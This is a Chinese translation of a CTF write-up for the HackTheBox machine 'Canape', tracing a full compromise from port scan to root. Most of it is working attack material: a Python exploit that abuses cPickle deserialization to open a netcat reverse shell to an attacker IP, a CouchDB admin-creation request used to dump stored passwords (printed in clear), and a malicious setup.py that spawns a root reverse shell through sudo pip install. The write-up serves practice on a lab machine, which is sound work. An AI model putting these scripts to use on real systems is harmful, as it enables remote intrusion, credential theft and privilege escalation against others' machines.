原文: https://www.absolomb.com/2018-09-15-HackTheBox-Canape/
HackTheBox 是我非常喜歡的 CTF 比賽,因爲在拿到 Flag 的過程中需要一些創造性思維,並需要分析和編寫一些 python 腳本。所以這是一次很棒的學習經歷。
網絡掃描
用 Nmap 掃描服務器端口:
root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4 Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT Nmap scan report for 10.10.10.70 Host is up (0.053s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 80/tcp open http 65535/tcp open unknown
現在,我們針對兩個開放的端口,運行 nmap 腳本和服務檢測掃描。
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70 Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT Nmap scan report for 10.10.10.70 Host is up (0.057s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Simpsons Fan Site 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap 在 65535 端口上掃描到了 SSH服務,並在 80 端口上掃到了一個 Git 存儲庫地址。
我們可以通過兩種方式克隆 Git 存儲庫。簡單的方法是在更新 /etc/hosts 後執行 git clone 命令。
root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git Cloning into 'simpsons'... remote: Counting objects: 49, done. remote: Compressing objects: 100% (47/47), done. remote: Total 49 (delta 18), reused 0 (delta 0) Unpacking objects: 100% (49/49), done.
或者,如果 simpsons.git 文件並未公開,我們可以用 wget 來下載 git 倉庫。
root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/
然後.我們可以 cd 進入 git 存儲庫目錄並執行 git checkout 命令。
root@kali:~/htb/canape/10.10.10.70# git checkout -- . root@kali:~/htb/canape/10.10.10.70# ls -al total 28 drwxr-xr-x 5 root root 4096 Apr 26 13:26 . drwxr-xr-x 3 root root 4096 Apr 26 13:24 .. drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git -rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py -rw-r--r-- 1 root root 207 Apr 26 13:24 robots.txt drwxr-xr-x 4 root root 4096 Apr 26 13:26 static drwxr-xr-x 2 root root 4096 Apr 26 13:26 templates
查看 __init__.py
文件的內容,我們可以發現這是一個 Flask Web 應用程序。
import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5 app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]] @app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html") @app.route("/") def index(): return render_template("index.html") @app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes) WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success) @app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item if __name__ == "__main__": app.run()
上面的一些代碼可以篩選出不同的網頁。 /submit
需要兩個變量, char
和 quote
。 char
通過字符串白名單來確保是否包含白名單中的某個字符。quote 就沒有任何限制。然後使用 md5 對這兩個變量進行哈希作爲文件名,並寫入到/tmp/ 目錄。
我們可以看到 /check
接收了 id 輸入參數並使用這個參數作爲文件名,然後打開/tmp下帶有該 id 的文件。現部分代碼看起來比較有趣。如果 p1 在該文件中,則使用 cPickle 來加載文件內容(也就是反序列化)。如果你不熟悉 python 中的 pickle,那麼請查閱相關的資料。pickle 一般用於將數據序列化爲字節,也可用於反序列化。如果你閱讀了相關文檔,那麼文檔中會明確說明不應該提供無法驗證爲安全的數據。
因此,結合上面的代碼分析,我們可以將序列化代碼發送到 quote字段中,並讓 cPickle 對其進行反序列化並執行。
讓我們從簡單的開始,並驗證我們可以獲取存儲在/tmp目錄中的文件內容。我們先爲 char 變量設置 homer 這個值併爲 quote 變量設置值“test”,或者通過瀏覽器訪問頁面傳入參數,或者使用 curl 來完成請求。現在我們需要將這些值組合起來,請作爲 id 參數的值也就是文件名的哈希值然後請求 /check 頁面。
使用 __init__.py
文件的源代碼,我們可以重用部分代碼來實現我們需要的功能。
root@kali:~# python Python 2.7.14+ (default, Dec 5 2017, 15:17:02) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from hashlib import md5 >>> char = "homer" >>> quote = "test" >>> p_id = md5(char + quote).hexdigest() >>> p_id '27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
使用 curl
命令向 /check 發起 POST 請求來驗證結果。
root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c' Still reviewing: homertest
請注意,它將兩個值連接在了一起,我們需要記住這一點,後面會用到。好吧,我們已經找到了那個部分,現在我們需要用 cPickle 和它的 dump 函數將已經序列化的數據輸入到 quote 變量。這有一篇很好的文章,介紹瞭如何使用Python中一個類來做到這一點。
所以,我們還需要再做一些事情才能夠讓代碼執行。
- 將要執行的代碼使用 cPickle 序列化並提交給 quote
- 使用 md5 加密我們提交的 char 和 quote 參數值,用於調用有效載荷
- 將上一步得到的哈希值作爲 id 參數的值,並向 /check 提交 POST 請求
讓我們編寫一個 Exp 來自動化完成這些工作。
import cPickle from hashlib import md5 import os import requests import urllib class shell(object): def __reduce__(self): return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",)) quote = cPickle.dumps(shell()) char = "(S'homer'\n" p_id = md5(char + quote).hexdigest() submit_url = "http://10.10.10.70/submit" check_url = "http://10.10.10.70/check" client = requests.session() post_data = [('character',char), ('quote',quote)] post_request = client.post(submit_url, data=post_data) post2_data = [('id',p_id)] post2_request = client.post(check_url, data=post2_data)
現在我解釋一下這段代碼。
首先導入我們需要的所有需要用到的模塊,然後定義一個類對象,這個類會執行一個反向shell,利用了 mknod 方法,因爲很可能 nc -e 在目標服務器上不起作用。
接下來,我們使用 cPickle 序列化我們要執行的代碼來並將其放入 quote 變量中。
接下來就是比較有趣的部分了。我們知道我們必須讓提交 char 參數在白名單中。但是,如果我們按原樣提交該字符串,則會導致我們的代碼在反序列化時不會被執行。所以我們需要做的就是在cPickle中創建一個反序列化的字符串,通過添加 (S' 到字符串的最前面使其成爲有效的非可執行代碼。我們還可以添加 \n 換行符來防止我們之前看到的字符串會被拼接的情況。如果你想知道我是怎麼想到的,你可以在python終端中查看反序列化的數據,看看 cPickle 轉儲了什麼,你會得到下面這樣的輸出:
cposix system p1 (S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe' p2 tp3 Rp4
注意 mknod 字符串的開頭是 (S' 並用單引號閉合。可能還有其他的一些方法,但我的這個方法足夠完成工作。
回到我們的 python 腳本,我們將 char 和 quote 拼接並用 md5 加密,然後存儲爲變量 pid,稍後會調用這個變量。 接下來,我們定義了要發起 POST 請求的兩個 URL。 然後使用 requests 模塊,創建一個 HTTP 請求客戶端,並使用兩個 char 和 quote 作爲數據向/submit URL 發起 POST 請求。 最後,我們使用 pid 作爲 id 參數的值向 /check 發起 POST請求來執行代碼。
這個時候我們在本地啓動 netcat 監聽器,就可以在運行上面的腳本後捕獲到服務器的 shell。
root@kali:~/htb/canape# python script.py
root@kali:~/htb/canape# nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452 id uid=33(www-data) gid=33(www-data) groups=33(www-data) python -c 'import pty;pty.spawn("/bin/bash")' www-data@canape:/$
搞定!
提權到 homer 用戶權限
我們已經得到了一個 www-data 用戶身份的 shell ,但我們需要提升到 homer 用戶身份來獲取user.txt。回顧一下前面的 Flask 源代碼,我們可以看到這個 Flask 應用程序連接到了 localhost 的 5984 端口上的 couchdb 服務。我們可以使用 curl 來驗證連接並獲取數據庫版本。
www-data@canape:/$ curl -X GET http://127.0.0.1:5984 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
讓我們做一般的查詢來獲取當前在 couchdb 中的所有數據庫。
www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs <ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
如果我們嘗試訪問數據庫中 password 的內容,會被拒絕訪問。
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs {"error":"unauthorized","reason":"You are not authorized to access this db."}
幸運的是,couchdb 2.0 版本很容易受到漏洞攻擊,有個 RCE 漏洞可以讓我們繞過輸入驗證來創建一個管理員用戶。你可以在這裏查看漏洞詳情。
我們的有效載荷如下:
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}' {"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}
現在我們可以通過在 URL 前面添加 username:password 這種格式的前綴來查詢數據庫。
www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}} ]}
我們只需要在 URL 的末尾附加上 id 的值,就可以查詢數據庫中每個記錄項的詳細數據。
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d {"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f {"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738 {"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
homer 用戶的密碼就是我們想要的! 我們可以在 65535 端口上連接 SSH 服務。
root@kali:~/htb/canape# ssh [email protected] -p 65535 [email protected]'s password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5 homer@canape:~$
提權到 Root 權限
如果我們檢查 homer 用戶的 sudo權限,我們可以看到 homer 用戶能夠以 root 用戶的身份運行 pip install。
homer@canape:~$ sudo -l [sudo] password for homer: Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User homer may run the following commands on canape: (root) /usr/bin/pip install *
爲了利用這一點,我們可以簡單地創建一個惡意的python包,它將在安裝時運行代碼。爲此,我們可以setup.py使用以下內容在攻擊框中創建一個文件。
To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.
import os import pty import socket from setuptools import setup from setuptools.command.install import install class MyClass(install): def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.14.14", 443)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() setup( cmdclass={ "install": MyClass } )
這基本上只是告訴pip在安裝時運行MyClass,它將向我們發送一個反向shell。 現在我們需要打包它。
This basically just tells pip to run MyClass at install, which will send us a reverse shell.
Now we’ll need to package it.
root@kali:~/htb/canape# python setup.py sdist
默認情況下,它會在 dist 目錄下創建一個 UNKNOWN-0.0.0.tar.gz 文件,我們可以將這個文件複製並重命名爲 shell.tar.gz 然後複製到目標服務器上。
homer@canape:~$ wget http://10.10.14.14/shell.tar.gz --2018-04-27 12:23:05-- http://10.10.14.14/shell.tar.gz Connecting to 10.10.14.14:80... connected. HTTP request sent, awaiting response... 200 OK Length: 775 [application/gzip] Saving to: ‘shell.tar.gz’ shell.tar.gz 100%[=================================================>] 775 --.-KB/s in 0s 2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]
現在,我們就可以啓動一個 netcat 的監聽器並使用 sudo 來運行 pip install。
homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Processing ./shell.tar.gz Installing collected packages: UNKNOWN Running setup.py install for UNKNOWN ...
root@kali:~/htb/canape# nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420 root@canape:/tmp/pip-bz9te7-build#